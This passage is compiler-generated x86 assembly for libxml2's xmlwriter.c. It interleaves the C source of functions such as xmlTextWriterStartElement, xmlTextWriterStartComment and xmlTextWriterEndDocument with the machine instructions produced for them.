push OFFSET ??_C@_0CO@MGJEFOHO@xmlTextWriterStartElementNS?5?3?5o@
push 2
push edi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
$LN3@xmlTextWri:
; 1104 : }
; 1105 :
; 1106 : return sum;
; 1107 : }
or eax, -1
$LN1@xmlTextWri:
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN7@xmlTextWri:
; 1083 : "xmlTextWriterStartElementNS : out of memory!\n");
; 1084 : return -1;
; 1085 : }
; 1086 :
; 1087 : buf = xmlStrdup(BAD_CAST "xmlns");
push OFFSET ??_C@_05PPEFOGKI@xmlns@
call _xmlStrdup
add esp, 4
; 1088 : if (prefix != 0) {
test ebx, ebx
je SHORT $LN8@xmlTextWri
; 1089 : buf = xmlStrcat(buf, BAD_CAST ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
push eax
call _xmlStrcat
; 1090 : buf = xmlStrcat(buf, prefix);
push ebx
push eax
call _xmlStrcat
add esp, 16 ; 00000010H
$LN8@xmlTextWri:
; 1091 : }
; 1092 :
; 1093 : p->prefix = buf;
; 1094 : p->uri = xmlStrdup(namespaceURI);
push DWORD PTR _namespaceURI$[ebp]
mov DWORD PTR [esi], eax
call _xmlStrdup
add esp, 4
mov DWORD PTR [esi+4], eax
; 1095 : if (p->uri == 0) {
test eax, eax
jne SHORT $LN9@xmlTextWri
; 1096 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CO@MGJEFOHO@xmlTextWriterStartElementNS?5?3?5o@
push 2
push edi
call _xmlWriterErrMsg
; 1097 : "xmlTextWriterStartElementNS : out of memory!\n");
; 1098 : xmlFree(p);
push esi
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 1104 : }
; 1105 :
; 1106 : return sum;
; 1107 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN9@xmlTextWri:
; 1099 : return -1;
; 1100 : }
; 1101 : p->elem = xmlListFront(writer->nodes);
push DWORD PTR [edi+4]
call _xmlListFront
mov DWORD PTR [esi+8], eax
; 1102 :
; 1103 : xmlListPushFront(writer->nsstack, p);
push esi
push DWORD PTR [edi+8]
call _xmlListPushFront
mov eax, DWORD PTR _count$1$[ebp]
add esp, 12 ; 0000000cH
pop edi
; 1104 : }
; 1105 :
; 1106 : return sum;
; 1107 : }
pop esi
pop ebx
pop ebp
ret 0
_xmlTextWriterStartElementNS ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartElement
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_xmlTextWriterStartElement PROC ; COMDAT
; 957 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je $LN5@xmlTextWri
; 958 : int count;
; 959 : int sum;
; 960 : xmlLinkPtr lk;
; 961 : xmlTextWriterStackEntry *p;
; 962 :
; 963 : if ((writer == NULL) || (name == NULL) || (*name == '\0'))
mov eax, DWORD PTR _name$[ebp]
test eax, eax
je $LN5@xmlTextWri
cmp BYTE PTR [eax], 0
je $LN5@xmlTextWri
; 964 : return -1;
; 965 :
; 966 : sum = 0;
; 967 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
xor edi, edi
call _xmlListFront
add esp, 4
; 968 : if (lk != 0) {
test eax, eax
je SHORT $LN16@xmlTextWri
; 969 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
mov ebx, eax
add esp, 4
; 970 : if (p != 0) {
test ebx, ebx
je SHORT $LN16@xmlTextWri
; 971 : switch (p->state) {
mov eax, DWORD PTR [ebx+4]
dec eax
cmp eax, 4
ja SHORT $LN16@xmlTextWri
jmp DWORD PTR $LN24@xmlTextWri[eax*4]
$LN10@xmlTextWri:
; 972 : case XML_TEXTWRITER_PI:
; 973 : case XML_TEXTWRITER_PI_TEXT:
; 974 : return -1;
; 975 : case XML_TEXTWRITER_NONE:
; 976 : break;
; 977 : case XML_TEXTWRITER_ATTRIBUTE:
; 978 : count = xmlTextWriterEndAttribute(writer);
push esi
call _xmlTextWriterEndAttribute
mov edi, eax
add esp, 4
; 979 : if (count < 0)
test edi, edi
js SHORT $LN5@xmlTextWri
$LN12@xmlTextWri:
; 980 : return -1;
; 981 : sum += count;
; 982 : /* fallthrough */
; 983 : case XML_TEXTWRITER_NAME:
; 984 : /* Output namespace declarations */
; 985 : count = xmlTextWriterOutputNSDecl(writer);
push esi
call _xmlTextWriterOutputNSDecl
add esp, 4
; 986 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 987 : return -1;
; 988 : sum += count;
; 989 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWriteString
add esp, 8
; 990 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 991 : return -1;
; 992 : sum += count;
add edi, eax
; 993 : if (writer->indent)
cmp DWORD PTR [esi+16], 0
je SHORT $LN15@xmlTextWri
; 994 : count =
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
$LN15@xmlTextWri:
; 995 : xmlOutputBufferWriteString(writer->out, "\n");
; 996 : p->state = XML_TEXTWRITER_TEXT;
mov DWORD PTR [ebx+4], 3
$LN16@xmlTextWri:
; 997 : break;
; 998 : default:
; 999 : break;
; 1000 : }
; 1001 : }
; 1002 : }
; 1003 :
; 1004 : p = (xmlTextWriterStackEntry *)
push 8
call DWORD PTR _xmlMalloc
mov ebx, eax
add esp, 4
; 1005 : xmlMalloc(sizeof(xmlTextWriterStackEntry));
; 1006 : if (p == 0) {
test ebx, ebx
jne SHORT $LN17@xmlTextWri
; 1007 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@
push 2
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
$LN5@xmlTextWri:
; 1037 :
; 1038 : return sum;
; 1039 : }
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN17@xmlTextWri:
; 1008 : "xmlTextWriterStartElement : out of memory!\n");
; 1009 : return -1;
; 1010 : }
; 1011 :
; 1012 : p->name = xmlStrdup(name);
push DWORD PTR _name$[ebp]
call _xmlStrdup
add esp, 4
mov DWORD PTR [ebx], eax
; 1013 : if (p->name == 0) {
test eax, eax
jne SHORT $LN18@xmlTextWri
; 1014 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@
push 2
push esi
call _xmlWriterErrMsg
; 1015 : "xmlTextWriterStartElement : out of memory!\n");
; 1016 : xmlFree(p);
push ebx
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 1037 :
; 1038 : return sum;
; 1039 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN18@xmlTextWri:
; 1017 : return -1;
; 1018 : }
; 1019 : p->state = XML_TEXTWRITER_NAME;
mov DWORD PTR [ebx+4], 1
; 1020 :
; 1021 : xmlListPushFront(writer->nodes, p);
push ebx
push DWORD PTR [esi+4]
call _xmlListPushFront
add esp, 8
; 1022 :
; 1023 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN19@xmlTextWri
; 1024 : count = xmlTextWriterWriteIndent(writer);
push esi
call _xmlTextWriterWriteIndent
add esp, 4
; 1025 : sum += count;
add edi, eax
$LN19@xmlTextWri:
; 1026 : }
; 1027 :
; 1028 : count = xmlOutputBufferWriteString(writer->out, "<");
push OFFSET ??_C@_01MNNFJEPP@?$DM@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 1029 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 1030 : return -1;
; 1031 : sum += count;
; 1032 : count =
push DWORD PTR [ebx]
add edi, eax
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 1033 : xmlOutputBufferWriteString(writer->out, (const char *) p->name);
; 1034 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 1035 : return -1;
; 1036 : sum += count;
add eax, edi
pop edi
; 1037 :
; 1038 : return sum;
; 1039 : }
pop esi
pop ebx
pop ebp
ret 0
npad 1
$LN24@xmlTextWri:
DD $LN12@xmlTextWri
DD $LN10@xmlTextWri
DD $LN16@xmlTextWri
DD $LN5@xmlTextWri
DD $LN5@xmlTextWri
_xmlTextWriterStartElement ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteComment
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_content$ = 12 ; size = 4
_xmlTextWriterWriteComment PROC ; COMDAT
; 925 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _writer$[ebp]
push edi
call _xmlTextWriterStartComment
mov esi, eax
add esp, 4
test esi, esi
js SHORT $LN6@xmlTextWri
; 926 : int count;
; 927 : int sum;
; 928 :
; 929 : sum = 0;
; 930 : count = xmlTextWriterStartComment(writer);
; 931 : if (count < 0)
; 932 : return -1;
; 933 : sum += count;
; 934 : count = xmlTextWriterWriteString(writer, content);
push DWORD PTR _content$[ebp]
push edi
call _xmlTextWriterWriteString
add esp, 8
; 935 : if (count < 0)
test eax, eax
js SHORT $LN6@xmlTextWri
; 936 : return -1;
; 937 : sum += count;
; 938 : count = xmlTextWriterEndComment(writer);
push edi
add esi, eax
call _xmlTextWriterEndComment
add esp, 4
; 939 : if (count < 0)
test eax, eax
js SHORT $LN6@xmlTextWri
; 941 : sum += count;
pop edi
add eax, esi
; 942 :
; 943 : return sum;
; 944 : }
pop esi
pop ebp
ret 0
$LN6@xmlTextWri:
pop edi
; 940 : return -1;
or eax, -1
; 942 :
; 943 : return sum;
; 944 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteComment ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatComment
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_format$ = 12 ; size = 4
_argptr$ = 16 ; size = 4
_xmlTextWriterWriteVFormatComment PROC ; COMDAT
; 894 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN2@xmlTextWri
; 895 : int rc;
; 896 : xmlChar *buf;
; 897 :
; 898 : if (writer == NULL) {
; 899 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0DE@JBFCJMHJ@xmlTextWriterWriteVFormatCommen@
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 900 : "xmlTextWriterWriteVFormatComment : invalid writer!\n");
; 901 : return -1;
or eax, -1
pop esi
; 912 : }
pop ebp
ret 0
$LN2@xmlTextWri:
push edi
; 902 : }
; 903 :
; 904 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 905 : if (buf == NULL)
test edi, edi
jne SHORT $LN3@xmlTextWri
; 906 : return -1;
pop edi
or eax, -1
pop esi
; 912 : }
pop ebp
ret 0
$LN3@xmlTextWri:
; 907 :
; 908 : rc = xmlTextWriterWriteComment(writer, buf);
push edi
push esi
call _xmlTextWriterWriteComment
; 909 :
; 910 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 12 ; 0000000cH
; 911 : return rc;
mov eax, esi
pop edi
pop esi
; 912 : }
pop ebp
ret 0
_xmlTextWriterWriteVFormatComment ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatComment
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_format$ = 12 ; size = 4
_xmlTextWriterWriteFormatComment PROC ; COMDAT
; 869 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
push DWORD PTR _writer$[ebp]
call _xmlTextWriterWriteVFormatComment
add esp, 12 ; 0000000cH
; 870 : int rc;
; 871 : va_list ap;
; 872 :
; 873 : va_start(ap, format);
; 874 :
; 875 : rc = xmlTextWriterWriteVFormatComment(writer, format, ap);
; 876 :
; 877 : va_end(ap);
; 878 : return rc;
; 879 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatComment ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterEndComment
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterEndComment PROC ; COMDAT
; 810 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 811 : int count;
; 812 : int sum;
; 813 : xmlLinkPtr lk;
; 814 : xmlTextWriterStackEntry *p;
; 815 :
; 816 : if (writer == NULL) {
; 817 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0CL@GJMJAJAF@xmlTextWriterEndComment?5?3?5inval@
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 818 : "xmlTextWriterEndComment : invalid writer!\n");
; 819 : return -1;
or eax, -1
pop esi
; 854 : }
pop ebp
ret 0
$LN4@xmlTextWri:
; 820 : }
; 821 :
; 822 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
; 823 : if (lk == 0) {
test eax, eax
jne SHORT $LN5@xmlTextWri
; 824 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0DI@MAGHMILC@xmlTextWriterEndComment?5?3?5not?5a@
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 825 : "xmlTextWriterEndComment : not allowed in this context!\n");
; 826 : return -1;
or eax, -1
pop esi
; 854 : }
pop ebp
ret 0
$LN5@xmlTextWri:
push edi
; 827 : }
; 828 :
; 829 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 830 : if (p == 0)
test eax, eax
je SHORT $LN13@xmlTextWri
; 831 : return -1;
; 832 :
; 833 : sum = 0;
; 834 : switch (p->state) {
cmp DWORD PTR [eax+4], 16 ; 00000010H
jne SHORT $LN13@xmlTextWri
; 835 : case XML_TEXTWRITER_COMMENT:
; 836 : count = xmlOutputBufferWriteString(writer->out, "-->");
push OFFSET ??_C@_03PNLDJJMO@?9?9?$DO@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
mov edi, eax
add esp, 8
; 837 : if (count < 0)
test edi, edi
js SHORT $LN13@xmlTextWri
; 838 : return -1;
; 839 : sum += count;
; 840 : break;
; 841 : default:
; 842 : return -1;
; 843 : }
; 844 :
; 845 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN10@xmlTextWri
; 846 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 847 : if (count < 0)
test eax, eax
js SHORT $LN13@xmlTextWri
; 849 : sum += count;
add edi, eax
$LN10@xmlTextWri:
; 850 : }
; 851 :
; 852 : xmlListPopFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListPopFront
add esp, 4
; 853 : return sum;
mov eax, edi
pop edi
pop esi
; 854 : }
pop ebp
ret 0
$LN13@xmlTextWri:
pop edi
; 848 : return -1;
or eax, -1
pop esi
; 854 : }
pop ebp
ret 0
_xmlTextWriterEndComment ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartComment
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterStartComment PROC ; COMDAT
; 726 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 727 : int count;
; 728 : int sum;
; 729 : xmlLinkPtr lk;
; 730 : xmlTextWriterStackEntry *p;
; 731 :
; 732 : if (writer == NULL) {
; 733 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0CN@DOOOICJG@xmlTextWriterStartComment?5?3?5inv@
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 734 : "xmlTextWriterStartComment : invalid writer!\n");
; 735 : return -1;
or eax, -1
pop esi
; 796 :
; 797 : return sum;
; 798 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push ebx
push edi
; 736 : }
; 737 :
; 738 : sum = 0;
; 739 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
xor edi, edi
call _xmlListFront
add esp, 4
; 740 : if (lk != 0) {
test eax, eax
je SHORT $LN7@xmlTextWri
; 741 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
mov ebx, eax
add esp, 4
; 742 : if (p != 0) {
test ebx, ebx
je SHORT $LN7@xmlTextWri
; 743 : switch (p->state) {
mov eax, DWORD PTR [ebx+4]
sub eax, edi
je SHORT $LN7@xmlTextWri
sub eax, 1
je SHORT $LN8@xmlTextWri
sub eax, 2
je SHORT $LN7@xmlTextWri
; 776 : "xmlTextWriterStartElement : out of memory!\n");
; 777 : return -1;
pop edi
pop ebx
or eax, -1
pop esi
; 796 :
; 797 : return sum;
; 798 : }
pop ebp
ret 0
$LN8@xmlTextWri:
; 744 : case XML_TEXTWRITER_TEXT:
; 745 : case XML_TEXTWRITER_NONE:
; 746 : break;
; 747 : case XML_TEXTWRITER_NAME:
; 748 : /* Output namespace declarations */
; 749 : count = xmlTextWriterOutputNSDecl(writer);
push esi
call _xmlTextWriterOutputNSDecl
mov edi, eax
add esp, 4
; 750 : if (count < 0)
test edi, edi
js SHORT $LN19@xmlTextWri
; 751 : return -1;
; 752 : sum += count;
; 753 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 754 : if (count < 0)
test eax, eax
js SHORT $LN19@xmlTextWri
; 755 : return -1;
; 756 : sum += count;
add edi, eax
; 757 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN11@xmlTextWri
; 758 : count =
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 759 : xmlOutputBufferWriteString(writer->out, "\n");
; 760 : if (count < 0)
test eax, eax
js SHORT $LN19@xmlTextWri
; 761 : return -1;
; 762 : sum += count;
add edi, eax
$LN11@xmlTextWri:
; 763 : }
; 764 : p->state = XML_TEXTWRITER_TEXT;
mov DWORD PTR [ebx+4], 3
$LN7@xmlTextWri:
; 765 : break;
; 766 : default:
; 767 : return -1;
; 768 : }
; 769 : }
; 770 : }
; 771 :
; 772 : p = (xmlTextWriterStackEntry *)
push 8
call DWORD PTR _xmlMalloc
add esp, 4
; 773 : xmlMalloc(sizeof(xmlTextWriterStackEntry));
; 774 : if (p == 0) {
test eax, eax
jne SHORT $LN14@xmlTextWri
; 775 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@
push 2
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
$LN19@xmlTextWri:
; 776 : "xmlTextWriterStartElement : out of memory!\n");
; 777 : return -1;
pop edi
pop ebx
or eax, -1
pop esi
; 796 :
; 797 : return sum;
; 798 : }
pop ebp
ret 0
$LN14@xmlTextWri:
; 778 : }
; 779 :
; 780 : p->name = NULL;
; 781 : p->state = XML_TEXTWRITER_COMMENT;
; 782 :
; 783 : xmlListPushFront(writer->nodes, p);
push eax
mov DWORD PTR [eax], 0
mov DWORD PTR [eax+4], 16 ; 00000010H
push DWORD PTR [esi+4]
call _xmlListPushFront
add esp, 8
; 784 :
; 785 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN15@xmlTextWri
; 786 : count = xmlTextWriterWriteIndent(writer);
push esi
call _xmlTextWriterWriteIndent
add esp, 4
; 787 : if (count < 0)
test eax, eax
js SHORT $LN19@xmlTextWri
; 788 : return -1;
; 789 : sum += count;
add edi, eax
$LN15@xmlTextWri:
; 790 : }
; 791 :
; 792 : count = xmlOutputBufferWriteString(writer->out, "<!--");
push OFFSET ??_C@_04FFDNBKGC@?$DM?$CB?9?9@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 793 : if (count < 0)
test eax, eax
js SHORT $LN19@xmlTextWri
; 794 : return -1;
; 795 : sum += count;
add eax, edi
pop edi
pop ebx
pop esi
; 796 :
; 797 : return sum;
; 798 : }
pop ebp
ret 0
_xmlTextWriterStartComment ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterEndDocument
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterEndDocument PROC ; COMDAT
; 640 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN6@xmlTextWri
; 641 : int count;
; 642 : int sum;
; 643 : xmlLinkPtr lk;
; 644 : xmlTextWriterStackEntry *p;
; 645 :
; 646 : if (writer == NULL) {
; 647 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0CM@MFAOOHEJ@xmlTextWriterEndDocument?5?3?5inva@
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 648 : "xmlTextWriterEndDocument : invalid writer!\n");
; 649 : return -1;
or eax, -1
pop esi
; 712 :
; 713 : return sum;
; 714 : }
pop ebp
ret 0
$LN6@xmlTextWri:
push edi
; 650 : }
; 651 :
; 652 : sum = 0;
; 653 : while ((lk = xmlListFront(writer->nodes)) != NULL) {
push DWORD PTR [esi+4]
xor edi, edi
call _xmlListFront
add esp, 4
test eax, eax
je SHORT $LN3@xmlTextWri
npad 3
$LL2@xmlTextWri:
; 654 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 655 : if (p == 0)
test eax, eax
je SHORT $LN3@xmlTextWri
; 656 : break;
; 657 : switch (p->state) {
mov eax, DWORD PTR [eax+4]
dec eax
cmp eax, 15 ; 0000000fH
ja SHORT $LN18@xmlTextWri
movzx eax, BYTE PTR $LN37@xmlTextWri[eax]
jmp DWORD PTR $LN42@xmlTextWri[eax*4]
$LN8@xmlTextWri:
; 658 : case XML_TEXTWRITER_NAME:
; 659 : case XML_TEXTWRITER_ATTRIBUTE:
; 660 : case XML_TEXTWRITER_TEXT:
; 661 : count = xmlTextWriterEndElement(writer);
push esi
call _xmlTextWriterEndElement
; 662 : if (count < 0)
; 663 : return -1;
; 664 : sum += count;
; 665 : break;
jmp SHORT $LN40@xmlTextWri
$LN10@xmlTextWri:
; 666 : case XML_TEXTWRITER_PI:
; 667 : case XML_TEXTWRITER_PI_TEXT:
; 668 : count = xmlTextWriterEndPI(writer);
push esi
call _xmlTextWriterEndPI
; 669 : if (count < 0)
; 670 : return -1;
; 671 : sum += count;
; 672 : break;
jmp SHORT $LN40@xmlTextWri
$LN12@xmlTextWri:
; 673 : case XML_TEXTWRITER_CDATA:
; 674 : count = xmlTextWriterEndCDATA(writer);
push esi
call _xmlTextWriterEndCDATA
; 675 : if (count < 0)
; 676 : return -1;
; 677 : sum += count;
; 678 : break;
jmp SHORT $LN40@xmlTextWri
$LN14@xmlTextWri:
; 679 : case XML_TEXTWRITER_DTD:
; 680 : case XML_TEXTWRITER_DTD_TEXT:
; 681 : case XML_TEXTWRITER_DTD_ELEM:
; 682 : case XML_TEXTWRITER_DTD_ELEM_TEXT:
; 683 : case XML_TEXTWRITER_DTD_ATTL:
; 684 : case XML_TEXTWRITER_DTD_ATTL_TEXT:
; 685 : case XML_TEXTWRITER_DTD_ENTY:
; 686 : case XML_TEXTWRITER_DTD_ENTY_TEXT:
; 687 : case XML_TEXTWRITER_DTD_PENT:
; 688 : count = xmlTextWriterEndDTD(writer);
push esi
call _xmlTextWriterEndDTD
; 689 : if (count < 0)
; 690 : return -1;
; 691 : sum += count;
; 692 : break;
jmp SHORT $LN40@xmlTextWri
$LN16@xmlTextWri:
; 693 : case XML_TEXTWRITER_COMMENT:
; 694 : count = xmlTextWriterEndComment(writer);
push esi
call _xmlTextWriterEndComment
$LN40@xmlTextWri:
; 650 : }
; 651 :
; 652 : sum = 0;
; 653 : while ((lk = xmlListFront(writer->nodes)) != NULL) {
add esp, 4
test eax, eax
js SHORT $LN36@xmlTextWri
add edi, eax
$LN18@xmlTextWri:
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
test eax, eax
jne SHORT $LL2@xmlTextWri
$LN3@xmlTextWri:
; 695 : if (count < 0)
; 696 : return -1;
; 697 : sum += count;
; 698 : break;
; 699 : default:
; 700 : break;
; 701 : }
; 702 : }
; 703 :
; 704 : if (!writer->indent) {
cmp DWORD PTR [esi+16], 0
jne SHORT $LN19@xmlTextWri
; 705 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 706 : if (count < 0)
test eax, eax
jns SHORT $LN20@xmlTextWri
$LN36@xmlTextWri:
pop edi
; 707 : return -1;
or eax, -1
pop esi
; 712 :
; 713 : return sum;
; 714 : }
pop ebp
ret 0
$LN20@xmlTextWri:
; 708 : sum += count;
add edi, eax
$LN19@xmlTextWri:
; 4238 : if (writer->out == NULL)
mov eax, DWORD PTR [esi]
test eax, eax
jne SHORT $LN24@xmlTextWri
; 709 : }
; 710 :
; 711 : sum += xmlTextWriterFlush(writer);
mov eax, edi
pop edi
pop esi
; 712 :
; 713 : return sum;
; 714 : }
pop ebp
ret 0
$LN24@xmlTextWri:
; 4241 : count = xmlOutputBufferFlush(writer->out);
push eax
call _xmlOutputBufferFlush
add esp, 4
; 709 : }
; 710 :
; 711 : sum += xmlTextWriterFlush(writer);
add eax, edi
pop edi
pop esi
; 712 :
; 713 : return sum;
; 714 : }
pop ebp
ret 0
npad 1
$LN42@xmlTextWri:
DD $LN8@xmlTextWri
DD $LN10@xmlTextWri
DD $LN12@xmlTextWri
DD $LN14@xmlTextWri
DD $LN16@xmlTextWri
$LN37@xmlTextWri:
DB 0
DB 0
DB 0
DB 1
DB 1
DB 2
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 4
_xmlTextWriterEndDocument ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartDocument
_TEXT SEGMENT
tv481 = 8 ; size = 4
_writer$ = 8 ; size = 4
_version$ = 12 ; size = 4
_encoding$ = 16 ; size = 4
_standalone$ = 20 ; size = 4
_xmlTextWriterStartDocument PROC ; COMDAT
; 521 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je $LN30@xmlTextWri
; 522 : int count;
; 523 : int sum;
; 524 : xmlLinkPtr lk;
; 525 : xmlCharEncodingHandlerPtr encoder;
; 526 :
; 527 : if ((writer == NULL) || (writer->out == NULL)) {
cmp DWORD PTR [esi], 0
je $LN3@xmlTextWri
; 528 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
; 529 : "xmlTextWriterStartDocument : invalid writer!\n");
; 530 : return -1;
; 531 : }
; 532 :
; 533 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
; 534 : if ((lk != NULL) && (xmlLinkGetData(lk) != NULL)) {
test eax, eax
je SHORT $LN4@xmlTextWri
push eax
call _xmlLinkGetData
add esp, 4
test eax, eax
je SHORT $LN4@xmlTextWri
